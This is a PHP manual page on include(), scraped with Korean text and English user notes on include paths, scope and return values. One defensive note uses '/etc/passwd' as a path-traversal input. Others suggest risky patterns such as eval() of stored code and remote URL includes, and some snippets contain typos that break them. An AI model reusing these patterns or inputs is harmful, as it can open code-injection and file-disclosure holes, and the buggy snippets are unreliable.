require
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
include()
include()문은 특정 파일을 인클루드 하고, 적용시킨다.
아래 내용은 require()에도 적용됩니다. 두 구조는 수행 실패를 다루는 방법을 제외하고 완전히 동일합니다. 둘 모두 Warning을 발생시키지만, require()는 Fatal Error가 나타납니다. 즉, 파일이 없을 때 페이지 처리를 멈추고 싶으면 require()를 사용하면 됩니다. include()는 멈추지 않고 스크립트가 계속 실행됩니다. 또한, 적합한 include_path 설정인지 확인해야 합니다. PHP 4.3.5 이전에는 포함한 파일 안에서 해석 오류가 발생해도 수행을 멈추지 않는 점에 주의하십시오. 이 버전부터는 멈춥니다.
파일을 포함할 때는 각 include_path에 대해서 먼저 현재 작업 디렉토리에서 상대 경로를 찾고, 실행중인 스크립트가 있는 디렉토리를 찾습니다. 즉, include_path가 libraries이고, 현재 작업 디렉토리가 /www/이며, 포함한 파일 include/a.php에 include "b.php"가 있으면, b.php는 먼저 /www/libraries/에서 찾고, 그 후에 /www/include/을 찾습니다. 파일 이름이 ./이나 ../로 시작하면, 현재 작업 디렉토리 안에서만 찾습니다.
파일이 인클루드 되면, 그 코드를 포함하는 코드는 인클루드가 발생한 줄의 변수 유효 범위를 물려받는다. 호출하는 파일의 그 줄에서 사용되는 어떤 변수도 그 줄부터는 호출된 파일안에서 사용이 가능하다. 그러나, 포함한 파일에서 선언한 모든 함수와 클래스는 전역 영역에 들어갑니다.
Example #1 기본적인 include() 사용예
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
인클루드가 호출하는 파일안의 함수내에서 발생한다면, 호출된 파일안의 모든 코드가 그 함수에서 정의된것처럼 동작한다. 그래서, 그 함수의 변수 유효범위를 따를것이다. 이 규칙의 에외는 포함이 일어나기 전에 평가되는 마법 상수입니다.
Example #2 함수 내에서 인클루드하기
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
/* vars.php is in the scope of foo() so *
* $fruit is NOT available outside of this *
* scope. $color is because we declared it *
* as global. */
foo(); // A green apple
echo "A $color $fruit"; // A green
?>
파일이 인클루드되면, 파싱은 PHP모드의 밖으로 나가서 목적 파일의 시작부분은 HTML모드로 들어가게 되고, 끝부분에서 원래대로 회복된다. 이때문에, 목적 파일에서 PHP코드로서 수행되어야 하는 코드는 유효한 PHP 시작과 마침 태그 로 막아줘야 한다.
PHP에서 "URL fopen wrappers"가 활성화되어 있으면 (디폴트 설정임), URL(HTTP나 다른 지원 래퍼(wrapper) - 프로토콜 목록은 지원 프로토콜/래퍼 목록을 참고)을 사용하여 파일을 인클루드 할수 있다. 목적 서버가 목적 파일을 PHP코드로 해석한다면, HTTP GET으로 사용된 URL 리퀘스트 문자열은 변수로서 넘겨지게 될것이다. 이와같은 일은 파일을 인크루드 하고 부모 파일의 변수 유효범위를 상속하는 것과 같은 경우가 되지는 않는다. 스크립트는 실질적으로 원격 서버에서 실행이 되고 나서 로컬 스크립트에 포함된다.
Warning
PHP 4.3.0 이전의 윈도우 버전 PHP에서는 이 함수를 이용하여 원격 파일에 접근할 수 없습니다. allow_url_fopen을 활성화하여도 마찬가지입니다.
Example #3 HTTP로 include()하기
<?php
/* This example assumes that www.example.com is configured to parse .php
* files and not .txt files. Also, 'Works' here means that the variables
* $foo and $bar are available within the included file. */
// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';
// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';
// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; // Works.
include 'file.php'; // Works.
?>
Warning
보안 경고
원격 파일은 원격 서버에서 실행(파일 확장자와 원격 서버가 PHP를 실행하는가에 따라 다릅니다)되지만, 로컬 서버에서 실행할 수 있는 유효한 PHP 스크립트를 만들 수도 있습니다. 원격 서버에서만 실행한 결과를 그대로 출력해야 한다면, readfile() 함수가 더 적합합니다. 아니라면, 원격 스크립트가 유효하고 적합한 코드를 생성하도록 특별한 주의를 기울이십시오.
참고: 원격 파일, fopen(), file()에 관련 정보가 있습니다.
반환 다루기: include한 파일 안에서 그 파일의 수행을 종료하고, 호출한 스크립트로 돌아가기 위해서 return()문을 실행할 수 있습니다. 또한, 값을 반환하는 일도 가능합니다. include 호출을 일반 함수를 사용한 것처럼 값을 받을 수 있습니다. 그러나, 원격 파일을 포함하였을 때, 그 파일의 출력이 (다른 로컬 파일처럼) 유효한 PHP 시작과 끝 태그를 가지지 않는다면 이 값을 받을 수 없습니다. 이 태그들 안에 필요한 값을 정의하면, include한 파일의 어떤 위치에서라도 사용할 수 있습니다.
include()은 특별한 언어 구조이기 때문에, 인수를 괄호로 쌀 필요가 없습니다. 반환값을 비교할 때는 조심하십시오.
Example #4 include의 반환값 비교하기
<?php
// include(('vars.php') == 'OK'), 즉 include('')로 인식하여 작동하지 않습니다.
if (include('vars.php') == 'OK') {
echo 'OK';
}
// 작동합니다.
if ((include 'vars.php') == 'OK') {
echo 'OK';
}
?>
Example #5 include()와 return()문
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // prints 'PHP'
$bar = include 'noreturn.php';
echo $bar; // prints 1
?>
include가 성공했기 때문에 $bar의 값은 1입니다. 위 예제 사이의 차이에 주목하십시오. 처음 것은 포함한 파일 안에서 return()을 사용하였지만, 다른 것은 하지 않았습니다. 파일을 포함할 수 없으면 FALSE를 반환하고 E_WARNING을 발생합니다.
포함한 파일에서 함수를 정의하면, 어디서 return()을 했는지에 관계 없이 메인 파일에서 사용할 수 있습니다. 파일이 두번 포함되면, PHP 5는 함수가 이미 정의되어 있기 때문에 치명적인 오류를 발생하지만, PHP 4는 return() 뒤에 정의했다면 불평하지 않습니다. 이미 포함한 파일을 확인하기 위해서는 포함한 파일 안에서 조건적으로 return하기 보다는 include_once()를 사용하는 것을 권합니다.
PHP 파일을 변수로 "포함"하는 또 다른 방법은 출력 제어 함수를 include()와 함께 사용하여 출력을 캡쳐하는 것입니다. 예를 들면:
Example #6 PHP 파일을 포함하여 문자열로 변환하기 위해 출력 버퍼링 사용하기
<?php
$string = get_include_contents('somefile.php');
function get_include_constents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}
?>
스크립트 안에 자동으로 파일을 포함하기 위해서는, php.ini의 auto_prepend_file과 auto_append_file 설정 옵션을 참고하십시오.
Note: 이것은 함수가 아닌 언어 구조이기 때문에, 가변 함수 방식으로 호출할 수 없습니다.
참고: require(), require_once(), include_once(), get_included_files(), readfile(), virtual(), virtual(), include_path.
add a note
User Contributed Notesinclude
hyponiq at gmail dot com
02-Nov-2009 07:12
02-Nov-2009 07:12
fkaufusi at gmail dot com
06-Oct-2009 10:43
06-Oct-2009 10:43
here's another way to include your files.
<?php
function includeFile($file_name){
$dir = array('./', 'lib/', 'db/', 'student/'); //<-- put here your website directory you want to include
$level = array('', '/', '../', '../../'); //<-- you can add more deep level in this array
$ini_path = array();
foreach($dir as $p){
foreach($level as $l){
$file = $l.$p.$file_name;
if(file_exists($file)){
include_once($file);
return;
}
}
}
} //end function includeFile
includeFile('html.php');
includeFile('libpage.php');
?>
rjw201 at cam dot ac dot uk
05-Sep-2009 01:59
05-Sep-2009 01:59
A even better security solution is to do the following:
$path = basename($page, 'php') . '.php';
if(file_exists($path)) include $path;
This will mean it will only load files with the ".php" extension in the current directory.
Eg $page = 'myfile.php' => 'myfile.php'
$page = '/etc/passwd' => 'passwd.php' => not found
$page = 'myfile.jpg' => 'myfile.jpg.php' => not found
Simple.
Richard
Anonymous
27-Apr-2009 06:59
27-Apr-2009 06:59
Alot of people here in this section in the user contributed notes suggest using
<?php
@include('file.php');
?>
to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.
<?php
$theme= "themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include('themes/'.$theme.'/index.php'))
{
// file was missing so include default theme
require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL);
?>
Or maybe this works better
<?php
if(file_exsists('themes/'.$theme.'/index.php'))
include('themes/'.$theme.'/index.php');
else
require('themes/default_theme/index.php');
?>
You decide.
johan
10-Dec-2008 10:47
10-Dec-2008 10:47
If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:
1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).
2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.
eg.
<?php
function nav($i){
include "nav$i.php";
}
nav(1);
// same as...
include "nav1.php";
// ...as long as variables are global
?>
So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.
snowyurik at gmail dot com
06-Nov-2008 03:49
06-Nov-2008 03:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade.
23-Oct-2008 12:20
23-Oct-2008 12:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
AntonioCS at gmail dot com
27-Sep-2008 02:39
27-Sep-2008 02:39
Include and Require will call the __autoload function if the file that is being called extends some other class
Example Code:
File teste.php
<?php
class teste extends motherclass {
public function __construct() {
parent::__construct();
}
}
?>
File example.php
<?php
require("teste.php");
if (class_exists("motherclass"))
echo "It exists";
?>
You will be given the output:
It exists
I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.
example at user dot com
22-Sep-2008 01:33
22-Sep-2008 01:33
Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
<?php
header('Content-type: image/jpeg');
header('Content-Disposition: inline;');
include '/some_image.jpg';
echo 'This file was provided by example@user.com.';
?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
thedanevans at gmail dot com
21-Sep-2008 03:02
21-Sep-2008 03:02
Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
index.php
/sub_dir
index.php
/includes
header.php
/style
main.css
where both index.php files include header.php and the header.php file includes something like:
<link rel="stylesheet" type="text/css" href="style/main.css">
This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:
<?php
$include_dist = substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
$calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">
In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.
NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0
rich dot lovely at klikzltd dot co dot uk
18-Jul-2008 05:20
18-Jul-2008 05:20
I needed a way of include()ing a php page from a MySQL database. It took some work, but
eventually I came up with this:
<?php
function include_text($text){
while(substr_count($text, '<?php') > 0){ //loop while there's code in $text
list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
echo $html; //echo text before tag
list($code, $text) = explode('?>', $text, 2); //split at closing tag
eval($code); //exec code (between tags)
}
echo $text; //echo whatever is left
}
?>
It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.
Not sure whether it would work with something like:
<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>
I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:
<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>
Which would work with include_text()
It also won't work as-is with either asp-style or short tags.
huuanito
26-Jun-2008 02:34
26-Jun-2008 02:34
When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that
they have different variable scope
and the same session will not be seen from both included files. The original session won't be seen from the url included file.
So:
main script:
<?php
session_start();
$_SESSION['count'] = 234;
echo "sid from script1".session_id();
include "/var/www/htdocs/file1";
include "http://yoursite/file2";
?>
file1
<?php
echo " **sid from file1: ".session_id();
echo " count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count
but file2
<?php
echo " **sid from file2: ".session_id();
echo " count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.
g4wx3
25-Jun-2008 10:52
25-Jun-2008 10:52
Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:
<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function
ricardo dot ferro at gmail dot com
15-May-2008 03:14
15-May-2008 03:14
Two functions to help:
<?php
function add_include_path ($path)
{
foreach (func_get_args() AS $path)
{
if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
{
trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
continue;
}
$paths = explode(PATH_SEPARATOR, get_include_path());
if (array_search($path, $paths) === false)
array_push($paths, $path);
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
function remove_include_path ($path)
{
foreach (func_get_args() AS $path)
{
$paths = explode(PATH_SEPARATOR, get_include_path());
if (($k = array_search($path, $paths)) !== false)
unset($paths[$k]);
else
continue;
if (!count($paths))
{
trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
continue;
}
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
?>
fernandoleal at drakecall dot com
13-May-2008 02:55
13-May-2008 02:55
Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>
Rick Garcia
09-May-2008 01:38
09-May-2008 01:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com
25-Feb-2008 10:28
25-Feb-2008 10:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php
function include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}
// used like
include_all_once('dir/*.php');
?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
slush puppie
25-Oct-2007 03:40
25-Oct-2007 03:40
two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.
these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...
<?php
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
## A FILE RELATIVE TO THE ROOT DIRECTORY
## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
function rinclude($path){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
include($root . $path);
}
rinclude('file.inc.php'); // in root
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
## CALLS WILL BE RELATIVE TO ROOT
function setinclude(){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
set_include_path($root);
}
setinclude();
include('file.inc.php'); // in root
include('dir/file.inc.phpp'); // in a subfolder
?>
sbwoodside at yahoo dot com
08-Oct-2007 06:19
08-Oct-2007 06:19
Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:
<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>
Now anywhere you do an include you can do something like:
<?php include ( "Templates/header.inc") ?>
So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.
twolfley at gmail dot com
31-Aug-2007 02:37
31-Aug-2007 02:37
With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:
e.g.
<?php
function foo() {
//some long block of code here producing $bar
return $bar;
}
?>
can be rewritten as:
<?php
function foo() {
return include "foo.php";
}
?>
where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>
The result is the function's body does not get loaded into memory until the function is actually called.
alex carstea
27-Jul-2007 12:07
27-Jul-2007 12:07
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
"../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
$relativeArray=explode("/",$relativePath);
$absArray=explode("/",$absPath);
$upTokens=0;
//count the number of ".." tokens that precede the path
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
$upTokens++;
}
// create the absolute path
$filePath=$absArray[0];
for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
$filePath.="/".$absArray[$i];
}
for ($i=$upTokens; $i< count($relativeArray);$i++){
$filePath.="/".$relativeArray[$i];
}
return $filePath;
}
?>
Hope you will find it usefull....
Alex
Cory Gagliardi
26-Jul-2007 03:22
26-Jul-2007 03:22
Easy way to set $_GET values for local includes.
This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.
This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>
However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>
Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
php_notes (at) megaphone . ch
20-Jul-2007 08:28
20-Jul-2007 08:28
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)
http://www.php.net/manual/en/ini.php
oasis1 at geocities dot com
30-Jun-2007 12:11
30-Jun-2007 12:11
What a pain! I have struggled with including files from various subdirectories. My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:
<?php
$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;
while ($i < $times) {
$rootaccess .= "../";
$i++;
}
include ($rootaccess."foo/bar.php");
?>
This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled through.
post-nospam at brucemiller dot co dot uk
04-Jun-2007 06:07
04-Jun-2007 06:07
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:
<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>
This creates an include that is relative to the root rather than the current directory.
The dot is for concatenation, not current directory, as with 'include path' syntax.
See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
-hh-
23-Feb-2007 08:47
23-Feb-2007 08:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
mbread at m-bread dot com
11-Feb-2007 02:23
11-Feb-2007 02:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
Nathan Ostgard
20-Jan-2007 07:32
20-Jan-2007 07:32
You can also use debug_backtrace to write a function that do the chdir automatically:
<?php
function include_relative($file)
{
$bt = debug_backtrace();
$old = getcwd();
chdir(dirname($bt[0]['file']));
include($file);
chdir($old);
}
?>
anonymous
19-Jan-2007 06:49
19-Jan-2007 06:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:
<?php
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>
This way neither my includes nor theirs are affected; they all work as expected.
vahe dot ayvazyan at googlemail dot com
10-Jan-2007 08:12
10-Jan-2007 08:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:
<?php
$_GET['param1'] = 'param1value';
$_GET['param2'] = 'param2value';
@include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>
Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.
I spent several hours to figure this out.
Janci
17-Nov-2006 12:59
17-Nov-2006 12:59
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:
Example 1:
<?php
test();
function test()
{
echo 'In test.';
}
?>
Example 2:
file1.php:
<?php
test();
include 'file2.php';
?>
file2.php:
<?php
function test()
{
echo 'In test.';
}
?>
Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
mlindal at pfc dot forestry dot ca
09-Aug-2006 12:33
09-Aug-2006 12:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.
Do this by:
Say the file to be included is 'newpubs.php'
and the main pages are either newpubs_e.php or newpubs_f.php
<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
{
header("Location: newpubs_e.php");
exit;
}
?>
Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com
27-May-2006 08:50
27-May-2006 08:50
Because there is no quick way to check if a file is in include_path, I've made this function:
<?php
function is_includeable($filename, $returnpaths = false) {
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));
foreach ($include_paths as $path) {
$include = $path.DIRECTORY_SEPARATOR.$filename;
if (is_file($include) && is_readable($include)) {
if ($returnpaths == true) {
$includable_paths[] = $path;
} else {
return true;
}
}
}
return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}
?>
cavarlier [at] hotmail [dot] com
23-Apr-2006 04:59
23-Apr-2006 04:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
stalker at ruun dot de
10-Jan-2006 09:55
10-Jan-2006 09:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:
<?php
function includeRecurse($dirName) {
if(!is_dir($dirName))
return false;
$dirHandle = opendir($dirName);
while(false !== ($incFile = readdir($dirHandle))) {
if($incFile != "."
&& $incFile != "..") {
if(is_file("$dirName/$incFile"))
include_once("$dirName/$incFile");
elseif(is_dir("$dirName/$incFile"))
includeRecurse("$dirName/$incFile");
}
}
closedir($dirHandle);
}
?>
Jesper Juhl
15-Aug-2005 12:14
15-Aug-2005 12:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.
Like this.
includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');
/* rest of file */
?>
script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');
/* rest of file */
?>
ignacio esviza
20-Jul-2005 06:10
20-Jul-2005 06:10
Hi, there...
I've use this in order to grab the output from an include() but without sending it to the buffer.
Headers are not sent neither.
<?php
function include2($file){
$buffer = ob_get_contents();
include $file;
$output = substr(ob_get_contents(),strlen($buffer));
ob_end_clean();
ob_start();
echo $buffer;
return $output;
}
?>
Ethilien
19-Jul-2005 04:04
19-Jul-2005 04:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:
<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 10:07
04-Jul-2005 10:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:
- src
- web
- bo
- lib
- test
- whatever
as the include path's behaviour is somehow strange.
The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:
<?php
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>
Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.
Just cross fingers you have permissions to change the server's include path.
18-May-2005 12:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
<?php
if(file_exists("includes/a.php"))
include("includes/a.php")
?>
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
morris.php <A T> it-solutions.org
28-Apr-2005 09:31
28-Apr-2005 09:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
<?php
include "http://example.com/MyInclude.php";
?>
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
